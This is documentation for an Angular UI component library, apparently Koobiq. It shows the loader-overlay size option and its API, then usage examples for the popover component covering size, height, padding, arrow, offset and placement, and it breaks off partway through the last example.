##### Sizes

The component size is set using the `size` attribute.

**Example: Loader-overlay size** (`loader-overlay-size`)

```ts loader-overlay-size-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonToggleModule } from '@koobiq/components/button-toggle';
import { KbqDefaultSizes } from '@koobiq/components/core';
import { KbqLoaderOverlayModule } from '@koobiq/components/loader-overlay';

@Component({
    selector: 'loader-overlay-size-example',
    imports: [KbqLoaderOverlayModule, KbqButtonToggleModule, FormsModule],
    template: `
        <div class="layout-margin-bottom-l">
            <kbq-button-toggle-group [(ngModel)]="size">
                <kbq-button-toggle value="compact">Compact</kbq-button-toggle>
                <kbq-button-toggle value="normal">Normal</kbq-button-toggle>
                <kbq-button-toggle value="big">Big</kbq-button-toggle>
            </kbq-button-toggle-group>
        </div>

        <div class="flex" style="height: 320px">
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text text text text text text text
            text text text text text text text text text text text text text text text
            <kbq-loader-overlay text="Loading data..." [size]="size()" />
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LoaderOverlaySizeExample {
    readonly size = model<KbqDefaultSizes>('compact');
}
```

### API

#### Components

##### KbqLoaderOverlay (component)

Component that covers its parent element while an operation is in progress.

```ts
@Component({ selector: 'kbq-loader-overlay' })
class KbqLoaderOverlay {
    readonly text = input<string>();
    readonly caption = input<string>();
    readonly size = input<KbqDefaultSizes>('big');
    readonly surface = input<KbqLoaderOverlaySurface | null | undefined>();
    /** @deprecated */
    readonly transparent = input<boolean>(true);
    /** @deprecated */
    readonly card = input<boolean>(false);
}
```

- `[text]`: `string` — Text shown under the indicator. Ignored when a `[kbq-loader-overlay-text]` is projected.
- `[caption]`: `string` — Caption shown under the text. Ignored when a `[kbq-loader-overlay-caption]` is projected.
- `[size]`: `KbqDefaultSizes` — Size of the overlay and of its default indicator.
- `[surface]`: `KbqLoaderOverlaySurface | null | undefined` — Sets the surface and opacity mode used by the overlay.

  `solid` is an opaque overlay. Other values select a transparent overlay that matches the corresponding surface.
- `[transparent]`: `boolean` — Controls the legacy overlay opacity when `surface` is not set and `card` is disabled.

  Deprecated: Use `surface="bg"` for a transparent overlay or `surface="solid"` for an opaque overlay. Will
  be removed in 22.0.0.
- `[card]`: `boolean` — Uses a semi-transparent card background and overrides `transparent` when `surface` is not set.

  Deprecated: Use `surface="card"` instead. Will be removed in 22.0.0.

#### Directives

##### KbqLoaderOverlayCaption (directive)

Directive that marks a custom caption projected into the overlay.

```ts
@Directive({ selector: '[kbq-loader-overlay-caption]' })
class KbqLoaderOverlayCaption {}
```

##### KbqLoaderOverlayIndicator (directive)

Directive that marks a custom loading indicator projected into the overlay.

```ts
@Directive({ selector: '[kbq-loader-overlay-indicator]' })
class KbqLoaderOverlayIndicator {}
```

##### KbqLoaderOverlayText (directive)

Directive that marks custom text projected into the overlay.

```ts
@Directive({ selector: '[kbq-loader-overlay-text]' })
class KbqLoaderOverlayText {}
```

#### Types

##### KbqLoaderOverlaySurface (type)

Semantic background variants for `KbqLoaderOverlay`.

```ts
type KbqLoaderOverlaySurface = 'solid' | 'bg' | 'bg-secondary' | 'bg-tertiary' | 'card';
```

## Popover

- Entry point: `@koobiq/components/popover`
- NgModule: `KbqPopoverModule`
- Page: https://koobiq.io/en/components/popover/overview

### Overview

A popover is a small non-modal dialog without dimming that opens next to a trigger element. It can contain text, input fields, and any other controls.

**Example: Popover common** (`popover-overview`)

```ts popover-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqPopoverModule } from '@koobiq/components/popover';

@Component({
    selector: 'popover-overview-example',
    imports: [KbqPopoverModule, KbqButtonModule, KbqInputModule],
    template: `
        <ng-template #customContent>
            <div class="layout-margin-bottom-s">Интересно, что это такое?</div>
            <kbq-form-field>
                <input kbqInput placeholder="Интересная мысль" />
            </kbq-form-field>
        </ng-template>

        <ng-template #customFooter>
            <div class="layout-row layout-wrap" style="gap: 16px">
                <button kbq-button [color]="'contrast'" (click)="kbqPopover.hide(0)">Сохранить</button>
                <button kbq-button (click)="kbqPopover.hide(0)">Отмена</button>
            </div>
        </ng-template>

        <button
            #kbqPopover="kbqPopover"
            kbq-button
            kbqPopover
            [kbqPopoverClass]="'popover-overview-example'"
            [kbqPopoverContent]="customContent"
            [kbqPopoverFooter]="customFooter"
        >
            Открыть поповер
        </button>
    `,
    styles: `
        ::ng-deep .kbq-popover.kbq-popover_medium.popover-overview-example {
            width: 400px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-row layout-align-center'
    }
})
export class PopoverOverviewExample {}
```

#### Size

By default, the popover opens with a preset **Medium** width, but two additional sizes and the option to use a custom value are available.

**Example: Popover width** (`popover-width`)

```ts popover-width-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { PopUpSizes } from '@koobiq/components/core';
import { KbqPopoverModule } from '@koobiq/components/popover';

@Component({
    selector: 'popover-width-example',
    imports: [
        KbqPopoverModule,
        KbqButtonModule
    ],
    templateUrl: 'popover-width-example.html',
    styles: `
        ::ng-deep .kbq-popover.popover-width-example p:first-child {
            margin-top: 0;
        }

        ::ng-deep .kbq-popover.popover-width-example p:last-child {
            margin-bottom: 0;
        }

        ::ng-deep .kbq-popover.kbq-popover_medium.popover-width-custom-example {
            max-width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class PopoverWidthExample {
    popUpSizes = PopUpSizes;
    selectedSize = PopUpSizes.Small;
}
```

```html popover-width-example.html
<ng-template #customContent>
    В Windows есть вещи, известные как системные переменные. Это переменные, от которых зависит функционирование
    Windows, потому что Windows всегда будет знать, что означают переменные и где они находятся, даже когда
    мы перемещаем биты и байты повсюду. Системная переменная MAX_PATH — это та, которая ограничивает имена файлов и пути
    к файлам до 260 символов.
</ng-template>

<ng-template #customLargeContent>
    <p>
        В Windows есть вещи, известные как системные переменные. Это переменные, от которых зависит функционирование
        Windows, потому что Windows всегда будет знать, что означают переменные и где они находятся, даже когда
        мы перемещаем биты и байты повсюду. Системная переменная MAX_PATH — это та, которая ограничивает имена файлов
        и пути к файлам до 260 символов.
    </p>
    <p>
        Будучи переменной, вы думаете, мы могли бы изменить это. Нет, мы не должны. Это все равно что выдернуть нитку
        из свитера. Как только одна системная переменная изменяется, другие системные переменные и зависимые
        от них компоненты начинают распадаться.
    </p>
</ng-template>

<div style="gap: 16px" class="layout-row layout-wrap layout-align-center">
    <button
        kbq-button
        kbqPopover
        [kbqPopoverHasCloseButton]="true"
        [kbqPopoverClass]="'popover-width-example'"
        [kbqPopoverContent]="customLargeContent"
        [kbqPopoverHeader]="'Medium'"
        [kbqPopoverSize]="selectedSize"
        (click)="selectedSize = popUpSizes.Medium"
    >
        Medium
    </button>
    <button
        kbq-button
        kbqPopover
        [kbqPopoverHasCloseButton]="true"
        [kbqPopoverClass]="'popover-width-example'"
        [kbqPopoverContent]="customLargeContent"
        [kbqPopoverHeader]="'Large'"
        [kbqPopoverSize]="selectedSize"
        (click)="selectedSize = popUpSizes.Large"
    >
        Large
    </button>
    <button
        kbq-button
        kbqPopover
        [kbqPopoverHasCloseButton]="true"
        [kbqPopoverClass]="'popover-width-custom-example'"
        [kbqPopoverContent]="customContent"
        [kbqPopoverHeader]="'Custom Width'"
    >
        Custom Width
    </button>
</div>
```

Popovers with compact content open with reduced inner padding. Popovers of this size have no header or footer:

**Example: popover-small** (`popover-small`)

```ts popover-small-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { PopUpSizes } from '@koobiq/components/core';
import { KbqIcon } from '@koobiq/components/icon';
import { KbqLink, KbqLinkSuffix } from '@koobiq/components/link';
import { KbqPopoverModule } from '@koobiq/components/popover';

@Component({
    selector: 'popover-small-example',
    imports: [
        KbqPopoverModule,
        KbqButtonModule,
        KbqLink,
        KbqLinkSuffix,
        KbqIcon
    ],
    templateUrl: 'popover-small-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class PopoverSmallExample {
    popUpSizes = PopUpSizes;
}
```

```html popover-small-example.html
<ng-template #customSmallContent>
    Schatz, Daniel; Bashroush, Rabih; Wall, Julie (2017). 
    <a href="">"Towards a More Representative Definition of Cyber Security"</a>
    . Journal of Digital Forensics, Security and Law. 12 (2). 
    <a href="">ISSN 1558-7215</a>
    .
</ng-template>

<div style="gap: 16px" class="layout-row layout-wrap layout-align-center">
    <div
        kbqLink
        kbqPopover
        [kbqPopoverClass]="'popover-small-example'"
        [kbqPopoverContent]="customSmallContent"
        [kbqPopoverSize]="popUpSizes.Small"
    >
        Small Size
        <i kbq-icon="kbq-circle-question_16" kbqLinkSuffix></i>
    </div>
</div>
```

The height of the popover depends on its content. The recommended maximum height is 480px (may be increased at the designer's discretion).

**Example: Popover height** (`popover-height`)

```ts popover-height-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqFormsModule } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqPopoverModule, KbqPopoverTrigger } from '@koobiq/components/popover';

@Component({
    selector: 'popover-height-example',
    imports: [KbqInputModule, KbqButtonModule, KbqPopoverModule, KbqFormsModule],
    templateUrl: 'popover-height-example.html',
    styles: `
        ::ng-deep .kbq-popover.popover-height-custom-example .kbq-popover__container {
            max-height: 240px;
        }

        ::ng-deep .kbq-popover.popover-height-custom-example .kbq-popover__header {
            flex-shrink: 0;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class PopoverHeightExample {
    activePopover: KbqPopoverTrigger;
}
```

```html popover-height-example.html
<ng-template #shortContent>
    <form novalidate class="kbq-form-vertical">
        <div class="kbq-form__fieldset">
            <div class="kbq-form__row">
                <label class="kbq-form__label">Relying Party Indicator</label>
                <kbq-form-field class="kbq-form__control">
                    <input kbqInput name="input" />
                </kbq-form-field>
            </div>
            <div class="kbq-form__row">
                <label class="kbq-form__label">Relying Party Indicator</label>
                <kbq-form-field class="kbq-form__control">
                    <input kbqInput name="input" />
                </kbq-form-field>
            </div>
            <div class="kbq-form__row">
                <label class="kbq-form__label">Post Back URL</label>
                <kbq-form-field class="kbq-form__control">
                    <input kbqInput name="input" />
                    <kbq-hint>
                        URL of the Management Center SAML assertion consumer, including schema (http:// or https://) and
                        port.
                    </kbq-hint>
                </kbq-form-field>
            </div>
            <div class="kbq-form__row">
                <label class="kbq-form__label">Identity Provider Metadata</label>
                <kbq-form-field class="kbq-form__control">
                    <input kbqInput name="input" />
                    <kbq-hint>Your Identity Provider’s metadata in XML format</kbq-hint>
                </kbq-form-field>
            </div>
        </div>
    </form>
</ng-template>

<ng-template #customContent>
    <form novalidate class="kbq-form-vertical">
        <div class="kbq-form__fieldset">
            <div class="kbq-form__row">
                <label class="kbq-form__label">Relying Party Indicator</label>
                <kbq-form-field class="kbq-form__control">
                    <input kbqInput name="input" />
                </kbq-form-field>
            </div>
            <div class="kbq-form__row">
                <label class="kbq-form__label">Relying Party Indicator</label>
                <kbq-form-field class="kbq-form__control">
                    <input kbqInput name="input" />
                </kbq-form-field>
            </div>
            <div class="kbq-form__row">
                <label class="kbq-form__label">Post Back URL</label>
                <kbq-form-field class="kbq-form__control">
                    <input kbqInput name="input" />
                    <kbq-hint>
                        URL of the Management Center SAML assertion consumer, including schema (http:// or https://) and
                        port.
                    </kbq-hint>
                </kbq-form-field>
            </div>
            <div class="kbq-form__row">
                <label class="kbq-form__label">Group Attribute</label>
                <kbq-form-field class="kbq-form__control">
                    <input kbqInput name="input" />
                </kbq-form-field>
            </div>
            <div class="kbq-form__row">
                <label class="kbq-form__label">Identity Provider Metadata</label>
                <kbq-form-field class="kbq-form__control">
                    <input kbqInput name="input" />
                    <kbq-hint>Your Identity Provider’s metadata in XML format</kbq-hint>
                </kbq-form-field>
            </div>
        </div>
    </form>
</ng-template>

<ng-template #customFooter>
    <div style="gap: 16px" class="layout-row layout-wrap">
        <button kbq-button [color]="'contrast'" (click)="activePopover.hide(0)">Save</button>
        <button kbq-button (click)="activePopover.hide(0)">Cancel</button>
    </div>
</ng-template>

<div style="gap: 16px" class="layout-row layout-wrap">
    <button
        #kbqNoScrollPopover="kbqPopover"
        kbq-button
        kbqPopover
        [kbqPopoverContent]="shortContent"
        [kbqPopoverFooter]="customFooter"
        [kbqPopoverHeader]="'SSO-connection'"
        (click)="activePopover = kbqNoScrollPopover"
    >
        Без прокрутки
    </button>
    <button
        #kbqAutoHeightPopover="kbqPopover"
        kbq-button
        kbqPopover
        [kbqPopoverContent]="customContent"
        [kbqPopoverFooter]="customFooter"
        [kbqPopoverHeader]="'SSO-connection'"
        (click)="activePopover = kbqAutoHeightPopover"
    >
        С прокруткой, высота по умолчанию
    </button>
    <button
        #kbqCustomHeightPopover="kbqPopover"
        kbq-button
        kbqPopover
        [kbqPopoverClass]="'popover-height-custom-example'"
        [kbqPopoverContent]="customContent"
        [kbqPopoverFooter]="customFooter"
        [kbqPopoverHeader]="'SSO-connection'"
        (click)="activePopover = kbqCustomHeightPopover"
    >
        С прокруткой, произвольная высота
    </button>
</div>
```

#### Configuring padding

To flexibly control popover padding based on its content, reset the default values using `[kbqPopoverDefaultPaddings]="false"`. Then apply inner padding (padding) directly in the template of the content area:

**Example: popover-paddings** (`popover-paddings`)

```ts popover-paddings-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { PopUpPlacements, PopUpSizes } from '@koobiq/components/core';
import { KbqListModule } from '@koobiq/components/list';
import { KbqPopoverModule } from '@koobiq/components/popover';

@Component({
    selector: 'popover-paddings-example',
    imports: [
        KbqPopoverModule,
        KbqButtonModule,
        KbqListModule
    ],
    templateUrl: 'popover-paddings-example.html',
    styles: `
        ::ng-deep .popover-custom-paddings-example .kbq-popover__content {
            margin: 4px;
            width: 376px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class PopoverPaddingsExample {
    popUpSizes = PopUpSizes;
    popUpPlacements = PopUpPlacements;
}
```

```html popover-paddings-example.html
<ng-template #customContent>
    <kbq-list-selection>
        <kbq-list-option [value]="'Abarth'">Abarth</kbq-list-option>
        <kbq-list-option [value]="'Acura'">Acura</kbq-list-option>
        <kbq-list-option [value]="'Alfa Romeo'">Alfa Romeo</kbq-list-option>
        <kbq-list-option [value]="'Alpine'">Alpine</kbq-list-option>
        <kbq-list-option [value]="'Aston Martin'">Aston Martin</kbq-list-option>
        <kbq-list-option [value]="'Audi'">Audi</kbq-list-option>
        <kbq-list-option [value]="'Bentley'">Bentley</kbq-list-option>
        <kbq-list-option [value]="'BMW'">BMW</kbq-list-option>
        <kbq-list-option [value]="'Borgward'">Borgward</kbq-list-option>
        <kbq-list-option [value]="'Bugatti'">Bugatti</kbq-list-option>
        <kbq-list-option [value]="'Buick'">Buick</kbq-list-option>
        <kbq-list-option [value]="'BYD'">BYD</kbq-list-option>
        <kbq-list-option [value]="'Cadillac'">Cadillac</kbq-list-option>
        <kbq-list-option [value]="'Caterham'">Caterham</kbq-list-option>
        <kbq-list-option [value]="'Changan'">Changan</kbq-list-option>
        <kbq-list-option [value]="'Chery'">Chery</kbq-list-option>
        <kbq-list-option [value]="'Chevrolet'">Chevrolet</kbq-list-option>
        <kbq-list-option [value]="'Chrysler'">Chrysler</kbq-list-option>
        <kbq-list-option [value]="'Citroën'">Citroën</kbq-list-option>
        <kbq-list-option [value]="'Cupra'">Cupra</kbq-list-option>
        <kbq-list-option [value]="'Dacia'">Dacia</kbq-list-option>
        <kbq-list-option [value]="'Daewoo'">Daewoo</kbq-list-option>
        <kbq-list-option [value]="'Daihatsu'">Daihatsu</kbq-list-option>
        <kbq-list-option [value]="'Datsun'">Datsun</kbq-list-option>
        <kbq-list-option [value]="'DeLorean'">DeLorean</kbq-list-option>
        <kbq-list-option [value]="'Dodge'">Dodge</kbq-list-option>
        <kbq-list-option [value]="'DS Automobiles'">DS Automobiles</kbq-list-option>
        <kbq-list-option [value]="'Eagle'">Eagle</kbq-list-option>
        <kbq-list-option [value]="'Ferrari'">Ferrari</kbq-list-option>
        <kbq-list-option [value]="'Fiat'">Fiat</kbq-list-option>
        <kbq-list-option [value]="'Ford'">Ford</kbq-list-option>
        <kbq-list-option [value]="'Geely'">Geely</kbq-list-option>
        <kbq-list-option [value]="'Genesis'">Genesis</kbq-list-option>
        <kbq-list-option [value]="'GMC'">GMC</kbq-list-option>
        <kbq-list-option [value]="'Great Wall'">Great Wall</kbq-list-option>
        <kbq-list-option [value]="'Haval'">Haval</kbq-list-option>
        <kbq-list-option [value]="'Honda'">Honda</kbq-list-option>
        <kbq-list-option [value]="'Hummer'">Hummer</kbq-list-option>
        <kbq-list-option [value]="'Hyundai'">Hyundai</kbq-list-option>
        <kbq-list-option [value]="'Infiniti'">Infiniti</kbq-list-option>
        <kbq-list-option [value]="'Isuzu'">Isuzu</kbq-list-option>
        <kbq-list-option [value]="'IVECO'">IVECO</kbq-list-option>
        <kbq-list-option [value]="'Jaguar'">Jaguar</kbq-list-option>
        <kbq-list-option [value]="'Jeep'">Jeep</kbq-list-option>
        <kbq-list-option [value]="'Kia'">Kia</kbq-list-option>
        <kbq-list-option [value]="'Koenigsegg'">Koenigsegg</kbq-list-option>
        <kbq-list-option [value]="'Lada'">Lada</kbq-list-option>
        <kbq-list-option [value]="'Lamborghini'">Lamborghini</kbq-list-option>
        <kbq-list-option [value]="'Lancia'">Lancia</kbq-list-option>
        <kbq-list-option [value]="'Land Rover'">Land Rover</kbq-list-option>
        <kbq-list-option [value]="'Lexus'">Lexus</kbq-list-option>
        <kbq-list-option [value]="'Lincoln'">Lincoln</kbq-list-option>
        <kbq-list-option [value]="'Lotus'">Lotus</kbq-list-option>
        <kbq-list-option [value]="'Maserati'">Maserati</kbq-list-option>
        <kbq-list-option [value]="'Maybach'">Maybach</kbq-list-option>
        <kbq-list-option [value]="'Mazda'">Mazda</kbq-list-option>
        <kbq-list-option [value]="'McLaren'">McLaren</kbq-list-option>
        <kbq-list-option [value]="'Mercedes-Benz'">Mercedes-Benz</kbq-list-option>
        <kbq-list-option [value]="'MG'">MG</kbq-list-option>
        <kbq-list-option [value]="'Mini'">Mini</kbq-list-option>
        <kbq-list-option [value]="'Mitsubishi'">Mitsubishi</kbq-list-option>
        <kbq-list-option [value]="'Nissan'">Nissan</kbq-list-option>
        <kbq-list-option [value]="'Opel'">Opel</kbq-list-option>
        <kbq-list-option [value]="'Pagani'">Pagani</kbq-list-option>
        <kbq-list-option [value]="'Peugeot'">Peugeot</kbq-list-option>
        <kbq-list-option [value]="'Polestar'">Polestar</kbq-list-option>
        <kbq-list-option [value]="'Porsche'">Porsche</kbq-list-option>
        <kbq-list-option [value]="'Ram'">Ram</kbq-list-option>
        <kbq-list-option [value]="'Renault'">Renault</kbq-list-option>
        <kbq-list-option [value]="'Rivian'">Rivian</kbq-list-option>
        <kbq-list-option [value]="'Rolls-Royce'">Rolls-Royce</kbq-list-option>
        <kbq-list-option [value]="'Saab'">Saab</kbq-list-option>
        <kbq-list-option [value]="'Seat'">Seat</kbq-list-option>
        <kbq-list-option [value]="'Skoda'">Skoda</kbq-list-option>
        <kbq-list-option [value]="'Smart'">Smart</kbq-list-option>
        <kbq-list-option [value]="'SsangYong'">SsangYong</kbq-list-option>
        <kbq-list-option [value]="'Subaru'">Subaru</kbq-list-option>
        <kbq-list-option [value]="'Suzuki'">Suzuki</kbq-list-option>
        <kbq-list-option [value]="'Tesla'">Tesla</kbq-list-option>
        <kbq-list-option [value]="'Toyota'">Toyota</kbq-list-option>
        <kbq-list-option [value]="'Volkswagen'">Volkswagen</kbq-list-option>
        <kbq-list-option [value]="'Volvo'">Volvo</kbq-list-option>
        <kbq-list-option [value]="'Zotye'">Zotye</kbq-list-option>
    </kbq-list-selection>
</ng-template>

<ng-template #customFooter>
    <div class="layout-row layout-padding-l" style="gap: 16px">
        <button kbq-button [color]="'contrast'">Apply</button>
        <button kbq-button>Cancel</button>
    </div>
</ng-template>

<div style="gap: 16px" class="layout-row layout-wrap layout-align-center">
    <button
        kbq-button
        kbqPopover
        [kbqPopoverDefaultPaddings]="false"
        [kbqPopoverArrow]="false"
        [kbqPopoverPlacement]="popUpPlacements.BottomLeft"
        [kbqPopoverOffset]="4"
        [kbqPopoverClass]="'popover-custom-paddings-example'"
        [kbqPopoverSize]="popUpSizes.Medium"
        [kbqPopoverContent]="customContent"
        [kbqPopoverFooter]="customFooter"
    >
        Custom Paddings
    </button>
</div>
```

The default padding also keeps the focus outline of the first field in the content area from being clipped by the panel, which hides its overflow. After resetting it, reserve that space in your own padding.

#### Hiding the arrow

The arrow extending from the popover can be hidden, which allows the popover to be positioned closer to the trigger element.

**Example: Popover arrowless** (`popover-arrowless`)

```ts popover-arrowless-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqComponentColors, PopUpSizes } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqPopoverModule } from '@koobiq/components/popover';

@Component({
    selector: 'popover-arrowless-example',
    imports: [
        KbqButtonModule,
        KbqInputModule,
        KbqPopoverModule
    ],
    template: `
        <ng-template #customContent>
            <div [style.width.px]="400">
                <div class="layout-margin-bottom-s">I wonder what this?</div>
                <kbq-form-field>
                    <input kbqInput placeholder="Interesting thought" />
                </kbq-form-field>
            </div>
        </ng-template>

        <ng-template #customFooter>
            <div class="layout-row layout-wrap layout-gap-l">
                <button color="contrast" kbq-button (click)="kbqPopover.hide(0)">Save</button>
                <button kbq-button (click)="kbqPopover.hide(0)">Cancel</button>
            </div>
        </ng-template>

        <button
            #kbqPopover="kbqPopover"
            kbq-button
            kbqPopover
            [kbqPopoverContent]="customContent"
            [kbqPopoverFooter]="customFooter"
            [kbqPopoverSize]="popoverSize"
            [kbqPopoverArrow]="false"
        >
            Open popover
        </button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class PopoverArrowlessExample {
    colors = KbqComponentColors;
    protected readonly popoverSize = PopUpSizes.Large;
}
```

#### Offset

The popover has an additional `kbqPopoverOffset` parameter that controls the offset of the popover relative to the trigger element.

**Example: Popover arrow and offset example** (`popover-arrow-and-offset`)

```ts popover-arrow-and-offset-example.ts
import { AfterViewInit, ChangeDetectionStrategy, Component, viewChild } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqButtonToggleChange, KbqButtonToggleGroup, KbqButtonToggleModule } from '@koobiq/components/button-toggle';
import { PopUpSizes } from '@koobiq/components/core';
import { KbqDd, KbqDl, KbqDt } from '@koobiq/components/dl';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqPopoverModule } from '@koobiq/components/popover';
import { KbqToggleChange, KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'popover-arrow-and-offset-example',
    imports: [
        KbqButtonModule,
        KbqPopoverModule,
        KbqDl,
        KbqDt,
        KbqDd,
        KbqToggleModule,
        KbqButtonToggleModule,
        KbqInputModule
    ],
    template: `
        <div class="layout-row layout-align-space-around-center">
            <div class="layout-row layout-align-center-center">
                <ng-template #customContent>
                    <div [style.width.px]="400">
                        <div class="layout-margin-bottom-s">I wonder what this?</div>
                        <kbq-form-field>
                            <input kbqInput placeholder="Interesting thought" />
                        </kbq-form-field>
                    </div>
                </ng-template>

                <ng-template #customFooter>
                    <div class="layout-row layout-wrap layout-gap-l">
                        <button color="contrast" kbq-button (click)="kbqPopover.hide(0)">Save</button>
                        <button kbq-button (click)="kbqPopover.hide(0)">Cancel</button>
                    </div>
                </ng-template>

                <button
                    #kbqPopover="kbqPopover"
                    kbq-button
                    kbqPopover
                    [kbqPopoverContent]="customContent"
                    [kbqPopoverFooter]="customFooter"
                    [kbqPopoverArrow]="arrow"
                    [kbqPopoverArrowCentered]="arrowCentered"
                    [kbqPopoverOffset]="offset"
                    [kbqPopoverPlacement]="'bottomRight'"
                    [kbqPopoverSize]="popoverSize"
                >
                    Open popover
                </button>
            </div>

            <kbq-dl [vertical]="true">
                <kbq-dt>Arrow</kbq-dt>
                <kbq-dd>
                    <kbq-toggle [checked]="arrow" (change)="onArrowChange($event)" />
                </kbq-dd>

                <kbq-dt>Arrow centered</kbq-dt>
                <kbq-dd>
                    <kbq-toggle [checked]="arrowCentered" (change)="arrowCentered = $event.checked" />
                </kbq-dd>

                <kbq-dt>Offset</kbq-dt>
                <kbq-dd>
                    <kbq-button-toggle-group [value]="offset" (change)="onOffsetChange($event)">
                        <kbq-button-toggle [value]="-4">-4px</kbq-button-toggle>
                        <kbq-button-toggle [value]="0">0px</kbq-button-toggle>
                        <kbq-button-toggle [value]="4">4px</kbq-button-toggle>
                        <kbq-button-toggle [value]="8">8px</kbq-button-toggle>
                    </kbq-button-toggle-group>
                </kbq-dd>
            </kbq-dl>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class PopoverArrowAndOffsetExample implements AfterViewInit {
    protected arrow = true;
    protected arrowCentered = false;
    protected offset: number | null = null;
    protected offsetChanged = false;
    protected readonly popoverSize = PopUpSizes.Large;
    protected readonly toggleGroup = viewChild.required(KbqButtonToggleGroup);

    ngAfterViewInit() {
        Promise.resolve().then(() => {
            this.toggleGroup().buttonToggles().at(3)!.checked = true;
        });
    }

    onArrowChange({ checked }: KbqToggleChange) {
        if (!this.offsetChanged) {
            if (checked) {
                this.toggleGroup().buttonToggles().at(3)!.checked = true;
            } else {
                this.toggleGroup().buttonToggles().at(2)!.checked = true;
            }
        }

        this.arrow = checked;
    }

    onOffsetChange({ value }: KbqButtonToggleChange) {
        this.offsetChanged = true;
        this.offset = value;
    }
}
```

#### Alignment

Consider the context in which the popover appears. Configure the alignment so that the popover does not obscure elements that may be needed.

##### Centered on the element

The arrow is positioned at the center of the popover and points to the middle of the trigger element.

**Example: Popover placement center** (`popover-placement-center`)

```ts popover-placement-center-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { PopUpPlacements } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqPopoverModule, KbqPopoverTrigger } from '@koobiq/components/popover';

@Component({
    selector: 'popover-placement-center-example',
    imports: [KbqInputModule, KbqButtonModule, KbqPopoverModule],
    templateUrl: 'popover-placement-center-example.html',
    styles: `
        .popover-placement-center-example {
            display: flex;
            column-gap: 16px;
        }

        .popover-placement-center-example__column {
            display: flex;
            flex-direction: column;
            justify-content: center;
            width: 100%;
        }

        .popover-placement-center-example__column button {
            width: 100%;
        }

        .popover-placement-center-example__column button + button {
            margin-top: 48px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class PopoverPlacementCenterExample {
    placements = PopUpPlacements;
    activePopover: KbqPopoverTrigger;
}
```

```html popover-placement-center-example.html
<div class="popover-placement-center-example">
    <ng-template #customContent>
        <div class="layout-margin-bottom-s">Интересно, что это такое?</div>
        <kbq-form-field>
            <input kbqInput placeholder="Интересная мысль" />
        </kbq-form-field>
    </ng-template>

    <ng-template #customFooter>
        <div style="gap: 16px" class="layout-row layout-wrap">
            <button kbq-button [color]="'contrast'" (click)="activePopover.hide(0)">Сохранить</button>
            <button kbq-button (click)="activePopover.hide(0)">Отмена</button>
        </div>
    </ng-template>

    <div class="popover-placement-center-example__column">
        <button
            #kbqLeftPopover="kbqPopover"
            kbq-button
            kbqPopover
            [kbqPopoverContent]="customContent"
            [kbqPopoverFooter]="customFooter"
            [kbqPopoverPlacement]="placements.Left"
            (click)="activePopover = kbqLeftPopover"
        >
            left
        </button>
    </div>
    <div class="popover-placement-center-example__column">
        <button
            #kbqTopPopover="kbqPopover"
            kbq-button
            kbqPopover
            [kbqPopoverContent]="customContent"
            [kbqPopoverFooter]="customFooter"
            [kbqPopoverPlacement]="placements.Top"
            (click)="activePopover = kbqTopPopover"
        >
            top
        </button>
        <button
            #kbqBottomPopover="kbqPopover"
            kbq-button
            kbqPopover
            [kbqPopoverContent]="customContent"
            [kbqPopoverFooter]="customFooter"
            [kbqPopoverPlacement]="placements.Bottom"
            (click)="activePopover = kbqBottomPopover"
        >
            bottom
        </button>
    </div>
    <div class="popover-placement-center-example__column">
        <button
            #kbqRightPopover="kbqPopover"
            kbq-button
            kbqPopover
            [kbqPopoverContent]="customContent"
            [kbqPopoverFooter]="customFooter"
            [kbqPopoverPlacement]="placements.Right"
            (click)="activePopover = kbqRightPopover"
        >
            right
        </button>
    </div>
</div>
```

##### At the edge of the element

The popover aligns with the edge of the trigger element; the arrow is at a fixed distance from the edge of the popover. If the trigger element is too small, the arrow aligns with its center.

`kbqPopoverArrowCentered` moves only the arrow to the center of the trigger; the panel stays aligned with the trigger edge. It defaults to `false`, preserving the fixed arrow position described above.

**Example: Popover placement edges** (`popover-placement-edges`)

```ts popover-placement-edges-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { PopUpPlacements } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqPopoverModule, KbqPopoverTrigger } from '@koobiq/components/popover';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'popover-placement-edges-example',
    imports: [
        KbqPopoverModule,
        KbqButtonModule,
